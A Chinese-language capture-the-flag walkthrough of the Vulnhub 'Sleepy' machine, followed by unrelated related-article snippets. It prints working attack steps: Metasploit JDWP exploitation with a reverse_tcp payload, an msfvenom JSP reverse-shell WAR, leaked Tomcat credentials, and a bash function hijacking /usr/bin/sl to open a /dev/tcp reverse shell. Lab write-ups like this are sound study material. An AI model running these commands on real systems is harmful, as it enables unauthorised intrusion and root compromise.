[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering
信息收集
Server IP Address | Ports Opening |
---|---|
192.168.8.100 | TCP:21,8009,9001 |
$ nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn
Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-20 05:06 EDT
Nmap scan report for 192.168.8.100 (192.168.8.100)
Host is up (0.00080s latency).
Not shown: 65532 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.0.8 or later
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 192.168.8.107
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 4
| vsFTPd 3.0.2 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
8009/tcp open ajp13 Apache Jserv (Protocol v1.3)
|_ajp-methods: Failed to get a valid response for the OPTION request
9001/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 1.6 1.7.0_71
|_jdwp-info: ERROR: Script execution failed (use -d to debug)Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 142.60 seconds
Jdwp
通过jdb
,可以未授权连接9001端口,并且可以进行文件读取
$ jdb -attach 192.168.8.100:9001
> threads
> interrupt 1
使用msf利用jdwp漏洞
$ msfconsole
msf6 > search jdwp
msf6 > use 0
msf6 exploit(multi/misc/java_jdwp_debugger) > set RHOSTS 192.168.8.100
msf6 exploit(multi/misc/java_jdwp_debugger) > set RPORT 9001
msf6 exploit(multi/misc/java_jdwp_debugger) > set payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/java_jdwp_debugger) > exploit
查看网络端口开放情况
meterpreter > netstat -ano
8080为Tomcat服务
利用chisel将8080端口映射
[Kali]
$ ./chisel server -p 8000 --reverse
[靶机]
[sleepy@sleepy tmp]$ curl http://192.168.8.107/chisel -O chisel
[sleepy@sleepy tmp]$ chmod +x chisel
[sleepy@sleepy tmp]$ ./chisel client 192.168.8.107:8000 R:8080:localhost:8080
通过kali访问http://127.0.0.1:8080/manager/html
使用cat命令读取/etc/tomcat/tomcat-users.xml
文件获取账户密码
username:sl33py
password:Gu3SSmYStR0NgPa$sw0rD!
构造war包,获取tomcat用户的shell
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.8.107 LPORT=10032 -f war > shell.war
msf监听
meterpreter > use exploit/multi/handler
meterpreter > set payload java/jsp_shell_reverse_tcp
meterpreter > set LHOST 192.168.8.107
meterpreter > set LPORT 10032
meterpreter > exploit
访问地址http://127.0.0.1:8080/shell/
Local.txt 截屏
Local.txt 内容
5a5946b264f0f12355ddc51693bbb255
权限提升
查找具有SUID的文件
bash-4.2$ find / -perm -4000 -type f 2>null
bash-4.2$ cp /usr/bin/nightmare /usr/share/tomcat/webapps/sample/nightmare
访问http://192.168.8.107:8080/sample/nightmare
下载nightmare
首次将尝试打开/dev/tty,如果成功,则将进入fire函数,反之则退出
如果选择yes,则将再次调用fire
不过我们通过命令执行,出现了错误,它似乎使用了库“aalib”,一个 ASCII 艺术库。aalib 无法初始化
我们跟进train函数时
setresuid(ruid: 0, euid: 0, suid: 0):
- 这是一个系统调用,用于设置进程的真实用户 ID(Real UID)、有效用户 ID(Effective UID)和保存的设置用户 ID(Saved UID)。
在这个调用中,ruid、euid 和 suid 都被设置为 0,这意味着进程将自身的所有用户 ID 都设置为 root(超级用户)。
setresgid(rgid: 0, egid: 0, sgid: 0):
- 类似于 setresuid,这是一个系统调用,用于设置进程的真实组 ID(Real GID)、有效组 ID(Effective GID)和保存的设置组 ID(Saved GID)。
在这个调用中,rgid、egid 和 sgid 都被设置为 0,这意味着进程将自身的所有组 ID 都设置为 root 组。
return system(line: “/usr/bin/sl -al”):
- 这是一个 system 调用,用于在 shell 中执行命令。
在这个调用中,执行了命令 “/usr/bin/sl -al”,这是一个模拟火车动画的命令(sl 是一个著名的玩笑程序,它模拟的是打错 ls 时出现的火车动画,-al 是它的参数)。
https://serverfault.com/questions/548320/override-path-to-binary-for-particular-user/548323#548323
中而得知,我们可以劫持程序中的/usr/bin/sl.
bash-4.2$ function /usr/bin/sl () { /bin/bash >& /dev/tcp/192.168.8.107/10033 0>&1;}
bash-4.2$ export -f /usr/bin/sl
使用 export -f 将函数 /usr/bin/sl 导出到子 shell 环境中。这意味着任何从当前 shell 派生出来的子 shell 都可以使用这个函数定义。
bash-4.2$ /usr/bin/nightmare
ctrl+c退出时,将会自动调用/usr/bin/sl函数
Proot.txt 截屏
Proot.txt 内容
92f64746d7cd155607533c778774b995
相关文章:

[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering
信息收集 Server IP AddressPorts Opening192.168.8.100TCP:21,8009,9001 $ nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn Starting Nmap 7.92 ( https://nmap.org ) at 2024-06-20 05:06 EDT Nmap scan report for 192.168.8.100 (192.168.8.100) Host is up (0.00…...
基于MATLAB的误码率与信噪比(附完整代码与分析)
目录 一. 写在前面 二. 如何计算误码率 三. 带噪声的误码率分析 3.1 代码思路 3.2 MATLAB源代码及分析 四. 总结 4.1 输入参数 4.2 规定比特长度 4.3 特殊形式比较 一. 写在前面 (1)本文章主要讨论如何仿真误码率随着信噪比变化的图像 &#…...

【2024最新华为OD-C/D卷试题汇总】[支持在线评测] 字符串筛选排序(100分) - 三语言AC题解(Python/Java/Cpp)
🍭 大家好这里是清隆学长 ,一枚热爱算法的程序员 ✨ 本系列打算持续跟新华为OD-C/D卷的三语言AC题解 💻 ACM银牌🥈| 多次AK大厂笔试 | 编程一对一辅导 👏 感谢大家的订阅➕ 和 喜欢💗 📎在线评测链接 字符串筛选排序(100分) 🌍 评测功能需要 订阅专栏 后私信…...
# 开发安全
开发安全 文章目录 开发安全安全开发生命周期安全开发目标安全开发基本准则注入类攻击手段Sql注入命令执行命令执行防御文件遍历防御 植入类安全漏洞防御XSS(前端漏洞)防御 储存型XSS文件上传防御 CSRF防御 会话固定防御 其它类型安全漏洞越权访问防御 口…...

Qt MaintenanceTool.exe使用镜像源更新Qt
环境:Windows11,Qt6.5,新版的MaintenanceTool.exe linux环境类似,mac环境可以看官方文档。 cmd命令窗口:切换到MaintenanceTool.exe所在目录,可以用“D:”切换到D盘,“cd xxxx”切换到xxxx目录…...

Java 8 Stream API介绍
Java 8引入了Stream API,这是对集合框架的一种增强,它允许你以一种声明式的方式处理数据集合。Stream API的核心在于将数据的操作分为两个主要阶段:中间操作和终端操作。中间操作返回的是一个新的Stream,可以链式调用多个中间操作…...

【前端技巧】css篇
利用counter实现计数器 counter-reset:为计数器设置名称,语法如下: counter-rese: <idntifier><integer>第一个参数为变量名称,第二个参数为初始值,默认为0 counter-increment:设置计数器增…...

2024年6月20日 (周四) 叶子游戏新闻
超市播音系统: 定时播放不同音乐 强制卸载软件: 一款强制卸载软件 免费多人沙盒游戏《宝藏世界》推出更新“潮起潮落”,带来全新克苏鲁风冒险准备好迎接一场超凡的冒险吧,MMORPG发行商gamigo宣布《宝藏世界》的最新更新:“潮起潮落”。这次更…...

Zookeeper 一、Zookeeper简介
1.分布式系统定义及面临的问题 分布式系统是同时跨越多给物理主机,独立运行的多个软件所组成的系统。类比一下,分布式系统就是一群人一起干活。人多力量大,每个服务器的算力是有限的,但是通过分布式系统,由n个服务器组…...

普通一本能找到嵌入式linux工作吗?
在开始前刚好我有一些资料,是我根据网友给的问题精心整理了一份「嵌入式linux的资料从专业入门到高级教程」, 点个关注在评论区回复“888”之后私信回复“888”,全部无偿共享给大家!!!首先,普通…...
Effective C++ 改善程序与设计的55个具体做法笔记与心得 3
三. 资源管理 13. 以对象管理资源 请记住: 为防止资源泄露,使用智能指针 14. 在资源管理类中小心copying行为 请记住: 复制RAII对象必须一并复制他所管理的资源,所以资源的copying行为决定RAII对象的copying行为普遍而常见的…...

苹果的后来者居上策略:靠隐私保护打脸微软
01.苹果与微软相比更注重用户隐私 我一直是Windows的忠实用户,但微软疯狂地将人工智能融入一切,让我开始觉得应该咬咬牙换成Mac。 自小我几乎只用Windows电脑,所以我对MacOS一直不太适应。虽然Windows 11有其缺点,但总的来说&am…...
java经典面试题--进程和线程的关系/区别
进程和线程的定义以及作用 进程:进程是操作系统分配资源的基本单位,是程序的一次执行过程,它包括了程序执行的上下文环境,包括程序代码、数据、系统资源(内存、文件、设备等)以及执行状态等信息,其作用是提供一个独立的执行环境,…...

Solr 日志系统7.4.0部署和迁移到本地,Core Admin 添加新的core报错
文章目录 Solr部署Docker部署二进制部署 Tips:Solr设置账号密码方法1:(不使用)方法2: Core Admin 添加新的core报错Solr数据迁移 Solr部署 Docker部署 docker run -d -p 8983:8983 --name solr solr:latest docker run -d -p 8983:8983 -v /opt/solr:/…...

前缀和+双指针,CF 131F - Present to Mom
一、题目 1、题目描述 2、输入输出 2.1输入 2.2输出 3、原题链接 131F - Present to Mom 二、解题报告 1、思路分析 很经典的一种把列看作cell 来进行双指针/递推的题型 我们考虑,可以预处理出原矩阵中的所有star 然后我们去枚举矩形的上下边界,把…...

HCIA-速查-ENSP模拟器2步清空配置
需求:清空模拟器配置 清空当前图中配置 步骤1:reset saved-configuration 后输入y确认 步骤2:reboot后输入n否认再输入y确认 验证已经清空配置...

优选算法刷题笔记 2024.6.10-24.6.20
一、双指针算法(快慢指针,对撞指针) 艹,CSDN吞了我是十三题笔记!!! 二、滑动窗口(滑动窗口) 1、找到字符串中所有字母异位词 class Solution {public List<Integer> findAnagrams(String s, String p) {int[] hash1 new in…...

无需科学上网:轻松实现国内使用Coze.com平台自己创建的Bot(如何实现国内免费使用GPT-4o/Gemini等最新大模型)
文章目录 📖 介绍 📖🏡 演示环境 🏡📒 如何在国内使用 Coze.com 创建的 Bot 📒📝 创建Bot📝 实现国内使用📝 测试⚓️ 相关链接 ⚓️📖 介绍 📖 Coze.com 是一个强大的平台,允许用户创建各种类型的 Bot。然而,许多国内用户可能会遇到访问问题,导致无法…...

【车载开发系列】CAN通信总线再理解(中篇)
【车载开发系列】CAN通信总线再理解(中篇) 九. CAN总线标准十. CAN物理层十一. CAN数据链路层1)CAN的通信帧类型2)CAN的标准帧格式1. CAN ID2. 数据场 3)CAN总线仲裁 十二. CAN应用层1)CANopen2)…...
系统编程:互斥锁,条件变量
互斥锁 使用过程: 1,声明锁: pthread_mutex_t lock; 2,初始化锁:pthread_mutex_init(&lock,NULL); 3,在线程的方法函数中上锁和解锁:(成对出现) pthread_mutex_lock(&lock); pthread_mutex_unlock(&lock); 4,销毁锁:pthread_mutex_destroy(&lock); 代码示例:…...

日语AI面试高效通关秘籍:专业解读与青柚面试智能助攻
在如今就业市场竞争日益激烈的背景下,越来越多的求职者将目光投向了日本及中日双语岗位。但是,一场日语面试往往让许多人感到步履维艰。你是否也曾因为面试官抛出的“刁钻问题”而心生畏惧?面对生疏的日语交流环境,即便提前恶补了…...

Vue2 第一节_Vue2上手_插值表达式{{}}_访问数据和修改数据_Vue开发者工具
文章目录 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染2. 插值表达式{{}}3. 访问数据和修改数据4. vue响应式5. Vue开发者工具--方便调试 1.Vue2上手-如何创建一个Vue实例,进行初始化渲染 准备容器引包创建Vue实例 new Vue()指定配置项 ->渲染数据 准备一个容器,例如: …...
sqlserver 根据指定字符 解析拼接字符串
DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...
【git】把本地更改提交远程新分支feature_g
创建并切换新分支 git checkout -b feature_g 添加并提交更改 git add . git commit -m “实现图片上传功能” 推送到远程 git push -u origin feature_g...
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别
OpenPrompt 和直接对提示词的嵌入向量进行训练有什么区别 直接训练提示词嵌入向量的核心区别 您提到的代码: prompt_embedding = initial_embedding.clone().requires_grad_(True) optimizer = torch.optim.Adam([prompt_embedding...
今日学习:Spring线程池|并发修改异常|链路丢失|登录续期|VIP过期策略|数值类缓存
文章目录 优雅版线程池ThreadPoolTaskExecutor和ThreadPoolTaskExecutor的装饰器并发修改异常并发修改异常简介实现机制设计原因及意义 使用线程池造成的链路丢失问题线程池导致的链路丢失问题发生原因 常见解决方法更好的解决方法设计精妙之处 登录续期登录续期常见实现方式特…...
在Ubuntu24上采用Wine打开SourceInsight
1. 安装wine sudo apt install wine 2. 安装32位库支持,SourceInsight是32位程序 sudo dpkg --add-architecture i386 sudo apt update sudo apt install wine32:i386 3. 验证安装 wine --version 4. 安装必要的字体和库(解决显示问题) sudo apt install fonts-wqy…...

七、数据库的完整性
七、数据库的完整性 主要内容 7.1 数据库的完整性概述 7.2 实体完整性 7.3 参照完整性 7.4 用户定义的完整性 7.5 触发器 7.6 SQL Server中数据库完整性的实现 7.7 小结 7.1 数据库的完整性概述 数据库完整性的含义 正确性 指数据的合法性 有效性 指数据是否属于所定…...
【Nginx】使用 Nginx+Lua 实现基于 IP 的访问频率限制
使用 NginxLua 实现基于 IP 的访问频率限制 在高并发场景下,限制某个 IP 的访问频率是非常重要的,可以有效防止恶意攻击或错误配置导致的服务宕机。以下是一个详细的实现方案,使用 Nginx 和 Lua 脚本结合 Redis 来实现基于 IP 的访问频率限制…...
腾讯云V3签名
想要接入腾讯云的Api,必然先按其文档计算出所要求的签名。 之前也调用过腾讯云的接口,但总是卡在签名这一步,最后放弃选择SDK,这次终于自己代码实现。 可能腾讯云翻新了接口文档,现在阅读起来,清晰了很多&…...